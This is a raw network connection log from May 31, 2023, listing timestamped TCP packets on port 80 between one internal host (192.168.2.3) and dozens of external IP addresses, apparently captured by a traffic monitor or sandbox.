May 31, 2023 14:49:57.036098957 CEST	80	49712	62.122.190.121	192.168.2.3
May 31, 2023 14:49:57.036206007 CEST	49712	80	192.168.2.3	62.122.190.121
May 31, 2023 14:49:57.038502932 CEST	80	49714	104.26.15.53	192.168.2.3
May 31, 2023 14:49:57.051639080 CEST	49712	80	192.168.2.3	62.122.190.121
May 31, 2023 14:49:57.060343027 CEST	80	49714	104.26.15.53	192.168.2.3
May 31, 2023 14:49:57.060403109 CEST	80	49714	104.26.15.53	192.168.2.3
May 31, 2023 14:49:57.060450077 CEST	80	49714	104.26.15.53	192.168.2.3
May 31, 2023 14:49:57.060497999 CEST	80	49714	104.26.15.53	192.168.2.3
May 31, 2023 14:49:57.060502052 CEST	49714	80	192.168.2.3	104.26.15.53
May 31, 2023 14:49:57.060502052 CEST	49714	80	192.168.2.3	104.26.15.53
May 31, 2023 14:49:57.060534954 CEST	80	49714	104.26.15.53	192.168.2.3
May 31, 2023 14:49:57.060564995 CEST	49714	80	192.168.2.3	104.26.15.53
May 31, 2023 14:49:57.060564995 CEST	49714	80	192.168.2.3	104.26.15.53
May 31, 2023 14:49:57.060574055 CEST	80	49714	104.26.15.53	192.168.2.3
May 31, 2023 14:49:57.060589075 CEST	49714	80	192.168.2.3	104.26.15.53
May 31, 2023 14:49:57.060637951 CEST	49714	80	192.168.2.3	104.26.15.53
May 31, 2023 14:49:57.085499048 CEST	80	49712	62.122.190.121	192.168.2.3
May 31, 2023 14:49:57.086741924 CEST	80	49712	62.122.190.121	192.168.2.3
May 31, 2023 14:49:57.086869001 CEST	49712	80	192.168.2.3	62.122.190.121
May 31, 2023 14:49:57.094044924 CEST	80	49705	59.106.19.204	192.168.2.3
May 31, 2023 14:49:57.139252901 CEST	49712	80	192.168.2.3	62.122.190.121
May 31, 2023 14:49:57.151443958 CEST	80	49705	59.106.19.204	192.168.2.3
May 31, 2023 14:49:57.151504040 CEST	80	49705	59.106.19.204	192.168.2.3
May 31, 2023 14:49:57.151546001 CEST	49705	80	192.168.2.3	59.106.19.204
May 31, 2023 14:49:57.151566982 CEST	80	49705	59.106.19.204	192.168.2.3
May 31, 2023 14:49:57.151628017 CEST	80	49705	59.106.19.204	192.168.2.3
May 31, 2023 14:49:57.151633024 CEST	49705	80	192.168.2.3	59.106.19.204
May 31, 2023 14:49:57.151633024 CEST	49705	80	192.168.2.3	59.106.19.204
May 31, 2023 14:49:57.151688099 CEST	49705	80	192.168.2.3	59.106.19.204
May 31, 2023 14:49:57.151690006 CEST	80	49705	59.106.19.204	192.168.2.3
May 31, 2023 14:49:57.151746035 CEST	49705	80	192.168.2.3	59.106.19.204
May 31, 2023 14:49:57.151757002 CEST	80	49705	59.106.19.204	192.168.2.3
May 31, 2023 14:49:57.151806116 CEST	49705	80	192.168.2.3	59.106.19.204
May 31, 2023 14:49:57.151815891 CEST	80	49705	59.106.19.204	192.168.2.3
May 31, 2023 14:49:57.151871920 CEST	49705	80	192.168.2.3	59.106.19.204
May 31, 2023 14:49:57.151881933 CEST	80	49705	59.106.19.204	192.168.2.3
May 31, 2023 14:49:57.151937962 CEST	49705	80	192.168.2.3	59.106.19.204
May 31, 2023 14:49:57.151954889 CEST	80	49705	59.106.19.204	192.168.2.3
May 31, 2023 14:49:57.152004004 CEST	49705	80	192.168.2.3	59.106.19.204
May 31, 2023 14:49:57.152024031 CEST	80	49705	59.106.19.204	192.168.2.3
May 31, 2023 14:49:57.152096987 CEST	49705	80	192.168.2.3	59.106.19.204
May 31, 2023 14:49:57.165370941 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.172002077 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.172034025 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.172060013 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.172086954 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.172112942 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.172137976 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.172164917 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.172162056 CEST	49706	80	192.168.2.3	118.27.125.181
May 31, 2023 14:49:57.172162056 CEST	49706	80	192.168.2.3	118.27.125.181
May 31, 2023 14:49:57.172228098 CEST	49706	80	192.168.2.3	118.27.125.181
May 31, 2023 14:49:57.172228098 CEST	49706	80	192.168.2.3	118.27.125.181
May 31, 2023 14:49:57.172240019 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.172254086 CEST	49706	80	192.168.2.3	118.27.125.181
May 31, 2023 14:49:57.172282934 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.172306061 CEST	49706	80	192.168.2.3	118.27.125.181
May 31, 2023 14:49:57.172316074 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.172347069 CEST	49706	80	192.168.2.3	118.27.125.181
May 31, 2023 14:49:57.172442913 CEST	49706	80	192.168.2.3	118.27.125.181
May 31, 2023 14:49:57.174448967 CEST	80	49712	62.122.190.121	192.168.2.3
May 31, 2023 14:49:57.174559116 CEST	49712	80	192.168.2.3	62.122.190.121
May 31, 2023 14:49:57.179704905 CEST	80	49708	3.94.41.167	192.168.2.3
May 31, 2023 14:49:57.200372934 CEST	80	49713	216.58.215.243	192.168.2.3
May 31, 2023 14:49:57.200488091 CEST	49713	80	192.168.2.3	216.58.215.243
May 31, 2023 14:49:57.273550034 CEST	80	49715	206.191.152.37	192.168.2.3
May 31, 2023 14:49:57.273637056 CEST	49715	80	192.168.2.3	206.191.152.37
May 31, 2023 14:49:57.300359964 CEST	49715	80	192.168.2.3	206.191.152.37
May 31, 2023 14:49:57.309372902 CEST	49716	80	192.168.2.3	170.82.174.30
May 31, 2023 14:49:57.398066998 CEST	49717	80	192.168.2.3	80.74.154.6
May 31, 2023 14:49:57.403580904 CEST	49718	80	192.168.2.3	3.64.163.50
May 31, 2023 14:49:57.421288967 CEST	80	49705	59.106.19.204	192.168.2.3
May 31, 2023 14:49:57.421350956 CEST	80	49705	59.106.19.204	192.168.2.3
May 31, 2023 14:49:57.421401024 CEST	49705	80	192.168.2.3	59.106.19.204
May 31, 2023 14:49:57.421479940 CEST	49705	80	192.168.2.3	59.106.19.204
May 31, 2023 14:49:57.422816038 CEST	80	49717	80.74.154.6	192.168.2.3
May 31, 2023 14:49:57.422964096 CEST	49717	80	192.168.2.3	80.74.154.6
May 31, 2023 14:49:57.423670053 CEST	80	49718	3.64.163.50	192.168.2.3
May 31, 2023 14:49:57.423794031 CEST	49718	80	192.168.2.3	3.64.163.50
May 31, 2023 14:49:57.450570107 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.450647116 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.450707912 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.450756073 CEST	49706	80	192.168.2.3	118.27.125.181
May 31, 2023 14:49:57.450756073 CEST	49706	80	192.168.2.3	118.27.125.181
May 31, 2023 14:49:57.450756073 CEST	49706	80	192.168.2.3	118.27.125.181
May 31, 2023 14:49:57.450768948 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.450823069 CEST	49706	80	192.168.2.3	118.27.125.181
May 31, 2023 14:49:57.450833082 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.450886011 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:49:57.450897932 CEST	49706	80	192.168.2.3	118.27.125.181
May 31, 2023 14:49:57.450953960 CEST	49706	80	192.168.2.3	118.27.125.181
May 31, 2023 14:49:57.453649998 CEST	49717	80	192.168.2.3	80.74.154.6
May 31, 2023 14:49:57.455924034 CEST	49718	80	192.168.2.3	3.64.163.50
May 31, 2023 14:49:57.476003885 CEST	80	49718	3.64.163.50	192.168.2.3
May 31, 2023 14:49:57.476645947 CEST	80	49718	3.64.163.50	192.168.2.3
May 31, 2023 14:49:57.476809025 CEST	49718	80	192.168.2.3	3.64.163.50
May 31, 2023 14:49:57.478399038 CEST	80	49717	80.74.154.6	192.168.2.3
May 31, 2023 14:49:57.478562117 CEST	80	49717	80.74.154.6	192.168.2.3
May 31, 2023 14:49:57.478709936 CEST	49717	80	192.168.2.3	80.74.154.6
May 31, 2023 14:49:57.517613888 CEST	80	49716	170.82.174.30	192.168.2.3
May 31, 2023 14:49:57.517713070 CEST	49716	80	192.168.2.3	170.82.174.30
May 31, 2023 14:49:57.563467026 CEST	80	49715	206.191.152.37	192.168.2.3
May 31, 2023 14:49:57.563699007 CEST	80	49715	206.191.152.37	192.168.2.3
May 31, 2023 14:49:57.563746929 CEST	80	49715	206.191.152.37	192.168.2.3
May 31, 2023 14:49:57.563838005 CEST	49715	80	192.168.2.3	206.191.152.37
May 31, 2023 14:49:57.563838005 CEST	49715	80	192.168.2.3	206.191.152.37
May 31, 2023 14:49:57.575572014 CEST	49719	80	192.168.2.3	34.117.168.233
May 31, 2023 14:49:57.584927082 CEST	49716	80	192.168.2.3	170.82.174.30
May 31, 2023 14:49:57.599234104 CEST	80	49719	34.117.168.233	192.168.2.3
May 31, 2023 14:49:57.599349022 CEST	49719	80	192.168.2.3	34.117.168.233
May 31, 2023 14:49:57.635102987 CEST	49717	80	192.168.2.3	80.74.154.6
May 31, 2023 14:49:57.645647049 CEST	49719	80	192.168.2.3	34.117.168.233
May 31, 2023 14:49:57.645818949 CEST	49720	80	192.168.2.3	54.161.222.85
May 31, 2023 14:49:57.653872013 CEST	49715	80	192.168.2.3	206.191.152.37
May 31, 2023 14:49:57.660249949 CEST	80	49717	80.74.154.6	192.168.2.3
May 31, 2023 14:49:57.660429001 CEST	49717	80	192.168.2.3	80.74.154.6
May 31, 2023 14:49:57.669166088 CEST	80	49719	34.117.168.233	192.168.2.3
May 31, 2023 14:49:57.680255890 CEST	80	49719	34.117.168.233	192.168.2.3
May 31, 2023 14:49:57.680412054 CEST	49719	80	192.168.2.3	34.117.168.233
May 31, 2023 14:49:57.791093111 CEST	80	49720	54.161.222.85	192.168.2.3
May 31, 2023 14:49:57.791336060 CEST	49720	80	192.168.2.3	54.161.222.85
May 31, 2023 14:49:57.793030024 CEST	80	49716	170.82.174.30	192.168.2.3
May 31, 2023 14:49:57.819293976 CEST	49720	80	192.168.2.3	54.161.222.85
May 31, 2023 14:49:57.916862011 CEST	80	49715	206.191.152.37	192.168.2.3
May 31, 2023 14:49:57.943891048 CEST	49721	80	192.168.2.3	192.124.249.10
May 31, 2023 14:49:57.944032907 CEST	49722	80	192.168.2.3	104.21.88.198
May 31, 2023 14:49:57.960963964 CEST	80	49722	104.21.88.198	192.168.2.3
May 31, 2023 14:49:57.961175919 CEST	49722	80	192.168.2.3	104.21.88.198
May 31, 2023 14:49:57.963202953 CEST	80	49721	192.124.249.10	192.168.2.3
May 31, 2023 14:49:57.963320971 CEST	49721	80	192.168.2.3	192.124.249.10
May 31, 2023 14:49:57.963964939 CEST	80	49720	54.161.222.85	192.168.2.3
May 31, 2023 14:49:57.963998079 CEST	80	49720	54.161.222.85	192.168.2.3
May 31, 2023 14:49:57.964067936 CEST	49720	80	192.168.2.3	54.161.222.85
May 31, 2023 14:49:57.964684010 CEST	49720	80	192.168.2.3	54.161.222.85
May 31, 2023 14:49:57.970983028 CEST	49720	80	192.168.2.3	54.161.222.85
May 31, 2023 14:49:57.989080906 CEST	49722	80	192.168.2.3	104.21.88.198
May 31, 2023 14:49:57.989094973 CEST	49721	80	192.168.2.3	192.124.249.10
May 31, 2023 14:49:57.990211010 CEST	49723	80	192.168.2.3	188.114.96.7
May 31, 2023 14:49:57.990212917 CEST	49724	80	192.168.2.3	135.181.73.98
May 31, 2023 14:49:57.995852947 CEST	49725	80	192.168.2.3	54.161.222.85
May 31, 2023 14:49:58.006346941 CEST	80	49722	104.21.88.198	192.168.2.3
May 31, 2023 14:49:58.006634951 CEST	80	49723	188.114.96.7	192.168.2.3
May 31, 2023 14:49:58.006725073 CEST	49723	80	192.168.2.3	188.114.96.7
May 31, 2023 14:49:58.007292032 CEST	49723	80	192.168.2.3	188.114.96.7
May 31, 2023 14:49:58.008280039 CEST	80	49721	192.124.249.10	192.168.2.3
May 31, 2023 14:49:58.008686066 CEST	80	49721	192.124.249.10	192.168.2.3
May 31, 2023 14:49:58.008769035 CEST	49721	80	192.168.2.3	192.124.249.10
May 31, 2023 14:49:58.023767948 CEST	80	49723	188.114.96.7	192.168.2.3
May 31, 2023 14:49:58.027853966 CEST	80	49724	135.181.73.98	192.168.2.3
May 31, 2023 14:49:58.028424978 CEST	49724	80	192.168.2.3	135.181.73.98
May 31, 2023 14:49:58.029331923 CEST	49724	80	192.168.2.3	135.181.73.98
May 31, 2023 14:49:58.030725002 CEST	49726	80	192.168.2.3	89.161.163.246
May 31, 2023 14:49:58.031591892 CEST	49721	80	192.168.2.3	192.124.249.10
May 31, 2023 14:49:58.037040949 CEST	80	49723	188.114.96.7	192.168.2.3
May 31, 2023 14:49:58.037183046 CEST	49723	80	192.168.2.3	188.114.96.7
May 31, 2023 14:49:58.050940037 CEST	80	49721	192.124.249.10	192.168.2.3
May 31, 2023 14:49:58.051109076 CEST	49721	80	192.168.2.3	192.124.249.10
May 31, 2023 14:49:58.061378956 CEST	80	49726	89.161.163.246	192.168.2.3
May 31, 2023 14:49:58.061491013 CEST	49726	80	192.168.2.3	89.161.163.246
May 31, 2023 14:49:58.067049980 CEST	80	49724	135.181.73.98	192.168.2.3
May 31, 2023 14:49:58.075156927 CEST	80	49724	135.181.73.98	192.168.2.3
May 31, 2023 14:49:58.075273037 CEST	49724	80	192.168.2.3	135.181.73.98
May 31, 2023 14:49:58.081254005 CEST	80	49716	170.82.174.30	192.168.2.3
May 31, 2023 14:49:58.081351995 CEST	49716	80	192.168.2.3	170.82.174.30
May 31, 2023 14:49:58.085244894 CEST	80	49722	104.21.88.198	192.168.2.3
May 31, 2023 14:49:58.085288048 CEST	80	49722	104.21.88.198	192.168.2.3
May 31, 2023 14:49:58.085331917 CEST	80	49722	104.21.88.198	192.168.2.3
May 31, 2023 14:49:58.085354090 CEST	49722	80	192.168.2.3	104.21.88.198
May 31, 2023 14:49:58.085354090 CEST	49722	80	192.168.2.3	104.21.88.198
May 31, 2023 14:49:58.085411072 CEST	49722	80	192.168.2.3	104.21.88.198
May 31, 2023 14:49:58.116453886 CEST	80	49720	54.161.222.85	192.168.2.3
May 31, 2023 14:49:58.137170076 CEST	49726	80	192.168.2.3	89.161.163.246
May 31, 2023 14:49:58.141472101 CEST	80	49725	54.161.222.85	192.168.2.3
May 31, 2023 14:49:58.141599894 CEST	49725	80	192.168.2.3	54.161.222.85
May 31, 2023 14:49:58.168090105 CEST	80	49726	89.161.163.246	192.168.2.3
May 31, 2023 14:49:58.168616056 CEST	80	49726	89.161.163.246	192.168.2.3
May 31, 2023 14:49:58.168647051 CEST	80	49726	89.161.163.246	192.168.2.3
May 31, 2023 14:49:58.168700933 CEST	49726	80	192.168.2.3	89.161.163.246
May 31, 2023 14:49:58.169451952 CEST	49726	80	192.168.2.3	89.161.163.246
May 31, 2023 14:49:58.190598011 CEST	49724	80	192.168.2.3	135.181.73.98
May 31, 2023 14:49:58.230876923 CEST	80	49724	135.181.73.98	192.168.2.3
May 31, 2023 14:49:58.231156111 CEST	49724	80	192.168.2.3	135.181.73.98
May 31, 2023 14:49:58.362268925 CEST	49725	80	192.168.2.3	54.161.222.85
May 31, 2023 14:49:58.362356901 CEST	49716	80	192.168.2.3	170.82.174.30
May 31, 2023 14:49:58.391993046 CEST	49727	80	192.168.2.3	202.254.236.40
May 31, 2023 14:49:58.507462978 CEST	80	49725	54.161.222.85	192.168.2.3
May 31, 2023 14:49:58.507536888 CEST	80	49725	54.161.222.85	192.168.2.3
May 31, 2023 14:49:58.507596970 CEST	49725	80	192.168.2.3	54.161.222.85
May 31, 2023 14:49:58.507671118 CEST	49725	80	192.168.2.3	54.161.222.85
May 31, 2023 14:49:58.510508060 CEST	49725	80	192.168.2.3	54.161.222.85
May 31, 2023 14:49:58.570754051 CEST	80	49716	170.82.174.30	192.168.2.3
May 31, 2023 14:49:58.655438900 CEST	80	49725	54.161.222.85	192.168.2.3
May 31, 2023 14:49:58.663857937 CEST	80	49727	202.254.236.40	192.168.2.3
May 31, 2023 14:49:58.663963079 CEST	49727	80	192.168.2.3	202.254.236.40
May 31, 2023 14:49:58.713018894 CEST	80	49716	170.82.174.30	192.168.2.3
May 31, 2023 14:49:58.713135004 CEST	49716	80	192.168.2.3	170.82.174.30
May 31, 2023 14:49:58.742605925 CEST	49727	80	192.168.2.3	202.254.236.40
May 31, 2023 14:49:58.789860010 CEST	49728	80	192.168.2.3	188.114.96.7
May 31, 2023 14:49:58.806706905 CEST	80	49728	188.114.96.7	192.168.2.3
May 31, 2023 14:49:58.806824923 CEST	49728	80	192.168.2.3	188.114.96.7
May 31, 2023 14:49:58.808883905 CEST	49728	80	192.168.2.3	188.114.96.7
May 31, 2023 14:49:58.821791887 CEST	49729	80	192.168.2.3	188.165.133.163
May 31, 2023 14:49:58.825525045 CEST	80	49728	188.114.96.7	192.168.2.3
May 31, 2023 14:49:58.833262920 CEST	49730	80	192.168.2.3	52.71.57.184
May 31, 2023 14:49:58.835916042 CEST	49731	80	192.168.2.3	192.252.154.18
May 31, 2023 14:49:58.841583014 CEST	80	49729	188.165.133.163	192.168.2.3
May 31, 2023 14:49:58.841710091 CEST	49729	80	192.168.2.3	188.165.133.163
May 31, 2023 14:49:58.842057943 CEST	49729	80	192.168.2.3	188.165.133.163
May 31, 2023 14:49:58.861620903 CEST	80	49729	188.165.133.163	192.168.2.3
May 31, 2023 14:49:58.861712933 CEST	80	49729	188.165.133.163	192.168.2.3
May 31, 2023 14:49:58.861857891 CEST	49729	80	192.168.2.3	188.165.133.163
May 31, 2023 14:49:58.882419109 CEST	49732	80	192.168.2.3	185.80.51.179
May 31, 2023 14:49:58.883342981 CEST	49729	80	192.168.2.3	188.165.133.163
May 31, 2023 14:49:58.896181107 CEST	49733	80	192.168.2.3	82.201.61.230
May 31, 2023 14:49:58.903336048 CEST	80	49729	188.165.133.163	192.168.2.3
May 31, 2023 14:49:58.903425932 CEST	49729	80	192.168.2.3	188.165.133.163
May 31, 2023 14:49:58.921118975 CEST	80	49732	185.80.51.179	192.168.2.3
May 31, 2023 14:49:58.921257973 CEST	49732	80	192.168.2.3	185.80.51.179
May 31, 2023 14:49:58.924422026 CEST	80	49733	82.201.61.230	192.168.2.3
May 31, 2023 14:49:58.924537897 CEST	49733	80	192.168.2.3	82.201.61.230
May 31, 2023 14:49:58.930794954 CEST	49733	80	192.168.2.3	82.201.61.230
May 31, 2023 14:49:58.930797100 CEST	49732	80	192.168.2.3	185.80.51.179
May 31, 2023 14:49:58.934171915 CEST	80	49731	192.252.154.18	192.168.2.3
May 31, 2023 14:49:58.934267044 CEST	49731	80	192.168.2.3	192.252.154.18
May 31, 2023 14:49:58.947089911 CEST	49731	80	192.168.2.3	192.252.154.18
May 31, 2023 14:49:58.959011078 CEST	80	49733	82.201.61.230	192.168.2.3
May 31, 2023 14:49:58.966263056 CEST	80	49733	82.201.61.230	192.168.2.3
May 31, 2023 14:49:58.966387987 CEST	49733	80	192.168.2.3	82.201.61.230
May 31, 2023 14:49:58.970010042 CEST	80	49732	185.80.51.179	192.168.2.3
May 31, 2023 14:49:58.970163107 CEST	80	49732	185.80.51.179	192.168.2.3
May 31, 2023 14:49:58.970393896 CEST	49732	80	192.168.2.3	185.80.51.179
May 31, 2023 14:49:58.980631113 CEST	80	49730	52.71.57.184	192.168.2.3
May 31, 2023 14:49:58.981000900 CEST	49730	80	192.168.2.3	52.71.57.184
May 31, 2023 14:49:58.991688967 CEST	49733	80	192.168.2.3	82.201.61.230
May 31, 2023 14:49:58.991918087 CEST	49730	80	192.168.2.3	52.71.57.184
May 31, 2023 14:49:58.995811939 CEST	49732	80	192.168.2.3	185.80.51.179
May 31, 2023 14:49:59.014424086 CEST	80	49727	202.254.236.40	192.168.2.3
May 31, 2023 14:49:59.015880108 CEST	80	49727	202.254.236.40	192.168.2.3
May 31, 2023 14:49:59.016321898 CEST	49727	80	192.168.2.3	202.254.236.40
May 31, 2023 14:49:59.026782036 CEST	80	49733	82.201.61.230	192.168.2.3
May 31, 2023 14:49:59.027518034 CEST	49733	80	192.168.2.3	82.201.61.230
May 31, 2023 14:49:59.034691095 CEST	80	49732	185.80.51.179	192.168.2.3
May 31, 2023 14:49:59.036019087 CEST	49732	80	192.168.2.3	185.80.51.179
May 31, 2023 14:49:59.045398951 CEST	80	49731	192.252.154.18	192.168.2.3
May 31, 2023 14:49:59.047693014 CEST	80	49731	192.252.154.18	192.168.2.3
May 31, 2023 14:49:59.047785997 CEST	49731	80	192.168.2.3	192.252.154.18
May 31, 2023 14:49:59.052125931 CEST	80	49728	188.114.96.7	192.168.2.3
May 31, 2023 14:49:59.052170992 CEST	80	49728	188.114.96.7	192.168.2.3
May 31, 2023 14:49:59.052273035 CEST	49728	80	192.168.2.3	188.114.96.7
May 31, 2023 14:49:59.137337923 CEST	80	49730	52.71.57.184	192.168.2.3
May 31, 2023 14:49:59.137383938 CEST	80	49730	52.71.57.184	192.168.2.3
May 31, 2023 14:49:59.137484074 CEST	49730	80	192.168.2.3	52.71.57.184
May 31, 2023 14:49:59.137554884 CEST	49730	80	192.168.2.3	52.71.57.184
May 31, 2023 14:49:59.176312923 CEST	49727	80	192.168.2.3	202.254.236.40
May 31, 2023 14:49:59.176815987 CEST	49730	80	192.168.2.3	52.71.57.184
May 31, 2023 14:49:59.273246050 CEST	49728	80	192.168.2.3	188.114.96.7
May 31, 2023 14:49:59.280117035 CEST	49734	80	192.168.2.3	60.43.154.138
May 31, 2023 14:49:59.280616999 CEST	49735	80	192.168.2.3	108.167.164.216
May 31, 2023 14:49:59.281183004 CEST	49736	80	192.168.2.3	52.71.57.184
May 31, 2023 14:49:59.290024996 CEST	80	49728	188.114.96.7	192.168.2.3
May 31, 2023 14:49:59.322300911 CEST	80	49730	52.71.57.184	192.168.2.3
May 31, 2023 14:49:59.328891039 CEST	49700	80	192.168.2.3	137.118.26.67
May 31, 2023 14:49:59.376441956 CEST	49737	80	192.168.2.3	46.242.238.60
May 31, 2023 14:49:59.378004074 CEST	49738	80	192.168.2.3	193.166.255.171
May 31, 2023 14:49:59.379450083 CEST	49739	80	192.168.2.3	81.2.194.241
May 31, 2023 14:49:59.397284985 CEST	80	49728	188.114.96.7	192.168.2.3
May 31, 2023 14:49:59.397336960 CEST	80	49728	188.114.96.7	192.168.2.3
May 31, 2023 14:49:59.397433996 CEST	49728	80	192.168.2.3	188.114.96.7
May 31, 2023 14:49:59.406570911 CEST	80	49735	108.167.164.216	192.168.2.3
May 31, 2023 14:49:59.406661034 CEST	80	49737	46.242.238.60	192.168.2.3
May 31, 2023 14:49:59.406713009 CEST	49735	80	192.168.2.3	108.167.164.216
May 31, 2023 14:49:59.406764030 CEST	49737	80	192.168.2.3	46.242.238.60
May 31, 2023 14:49:59.416876078 CEST	80	49739	81.2.194.241	192.168.2.3
May 31, 2023 14:49:59.417649984 CEST	49739	80	192.168.2.3	81.2.194.241
May 31, 2023 14:49:59.423316956 CEST	80	49738	193.166.255.171	192.168.2.3
May 31, 2023 14:49:59.427319050 CEST	80	49736	52.71.57.184	192.168.2.3
May 31, 2023 14:49:59.427515984 CEST	49736	80	192.168.2.3	52.71.57.184
May 31, 2023 14:49:59.428333044 CEST	49738	80	192.168.2.3	193.166.255.171
May 31, 2023 14:49:59.445292950 CEST	49735	80	192.168.2.3	108.167.164.216
May 31, 2023 14:49:59.445369005 CEST	49737	80	192.168.2.3	46.242.238.60
May 31, 2023 14:49:59.445406914 CEST	49739	80	192.168.2.3	81.2.194.241
May 31, 2023 14:49:59.445444107 CEST	49736	80	192.168.2.3	52.71.57.184
May 31, 2023 14:49:59.445596933 CEST	49738	80	192.168.2.3	193.166.255.171
May 31, 2023 14:49:59.449440956 CEST	80	49727	202.254.236.40	192.168.2.3
May 31, 2023 14:49:59.449531078 CEST	49727	80	192.168.2.3	202.254.236.40
May 31, 2023 14:49:59.475822926 CEST	80	49737	46.242.238.60	192.168.2.3
May 31, 2023 14:49:59.476651907 CEST	80	49737	46.242.238.60	192.168.2.3
May 31, 2023 14:49:59.476787090 CEST	49737	80	192.168.2.3	46.242.238.60
May 31, 2023 14:49:59.482075930 CEST	80	49739	81.2.194.241	192.168.2.3
May 31, 2023 14:49:59.490959883 CEST	80	49738	193.166.255.171	192.168.2.3
May 31, 2023 14:49:59.491142035 CEST	80	49738	193.166.255.171	192.168.2.3
May 31, 2023 14:49:59.501588106 CEST	80	49739	81.2.194.241	192.168.2.3
May 31, 2023 14:49:59.501715899 CEST	49739	80	192.168.2.3	81.2.194.241
May 31, 2023 14:49:59.571101904 CEST	80	49735	108.167.164.216	192.168.2.3
May 31, 2023 14:49:59.575587988 CEST	80	49734	60.43.154.138	192.168.2.3
May 31, 2023 14:49:59.575709105 CEST	49734	80	192.168.2.3	60.43.154.138
May 31, 2023 14:49:59.576559067 CEST	80	49735	108.167.164.216	192.168.2.3
May 31, 2023 14:49:59.576832056 CEST	49735	80	192.168.2.3	108.167.164.216
May 31, 2023 14:49:59.590850115 CEST	80	49736	52.71.57.184	192.168.2.3
May 31, 2023 14:49:59.590910912 CEST	80	49736	52.71.57.184	192.168.2.3
May 31, 2023 14:49:59.591048956 CEST	49736	80	192.168.2.3	52.71.57.184
May 31, 2023 14:49:59.591048956 CEST	49736	80	192.168.2.3	52.71.57.184
May 31, 2023 14:49:59.643390894 CEST	49736	80	192.168.2.3	52.71.57.184
May 31, 2023 14:49:59.701240063 CEST	49734	80	192.168.2.3	60.43.154.138
May 31, 2023 14:49:59.710150003 CEST	49739	80	192.168.2.3	81.2.194.241
May 31, 2023 14:49:59.731159925 CEST	49735	80	192.168.2.3	108.167.164.216
May 31, 2023 14:49:59.763995886 CEST	80	49739	81.2.194.241	192.168.2.3
May 31, 2023 14:49:59.767260075 CEST	49739	80	192.168.2.3	81.2.194.241
May 31, 2023 14:49:59.788861036 CEST	80	49736	52.71.57.184	192.168.2.3
May 31, 2023 14:49:59.797708988 CEST	49711	80	192.168.2.3	185.15.129.58
May 31, 2023 14:49:59.864658117 CEST	80	49735	108.167.164.216	192.168.2.3
May 31, 2023 14:49:59.864773989 CEST	49735	80	192.168.2.3	108.167.164.216
May 31, 2023 14:49:59.996798038 CEST	80	49734	60.43.154.138	192.168.2.3
May 31, 2023 14:49:59.999002934 CEST	80	49734	60.43.154.138	192.168.2.3
May 31, 2023 14:49:59.999183893 CEST	49734	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:00.024115086 CEST	49741	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:00.024189949 CEST	49742	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:00.024210930 CEST	49740	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:00.024544954 CEST	49734	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:00.027857065 CEST	80	49733	82.201.61.230	192.168.2.3
May 31, 2023 14:50:00.027956963 CEST	49733	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:00.040802956 CEST	80	49741	172.67.165.62	192.168.2.3
May 31, 2023 14:50:00.040910006 CEST	49741	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:00.041250944 CEST	49741	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:00.048286915 CEST	80	49742	217.19.237.54	192.168.2.3
May 31, 2023 14:50:00.048456907 CEST	49742	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:00.048801899 CEST	49742	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:00.057730913 CEST	80	49741	172.67.165.62	192.168.2.3
May 31, 2023 14:50:00.066622972 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.067955971 CEST	49744	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:00.072789907 CEST	80	49742	217.19.237.54	192.168.2.3
May 31, 2023 14:50:00.074203968 CEST	80	49742	217.19.237.54	192.168.2.3
May 31, 2023 14:50:00.074330091 CEST	49742	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:00.083457947 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.083543062 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.101164103 CEST	80	49744	77.68.50.105	192.168.2.3
May 31, 2023 14:50:00.101316929 CEST	49744	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:00.108079910 CEST	80	49741	172.67.165.62	192.168.2.3
May 31, 2023 14:50:00.108149052 CEST	80	49741	172.67.165.62	192.168.2.3
May 31, 2023 14:50:00.108201981 CEST	80	49741	172.67.165.62	192.168.2.3
May 31, 2023 14:50:00.108283997 CEST	49741	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:00.108283997 CEST	49741	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:00.108283997 CEST	49741	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:00.128950119 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:00.142184973 CEST	49744	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:00.145724058 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:00.150259972 CEST	80	49740	66.94.119.160	192.168.2.3
May 31, 2023 14:50:00.151846886 CEST	49740	80	192.168.2.3	66.94.119.160
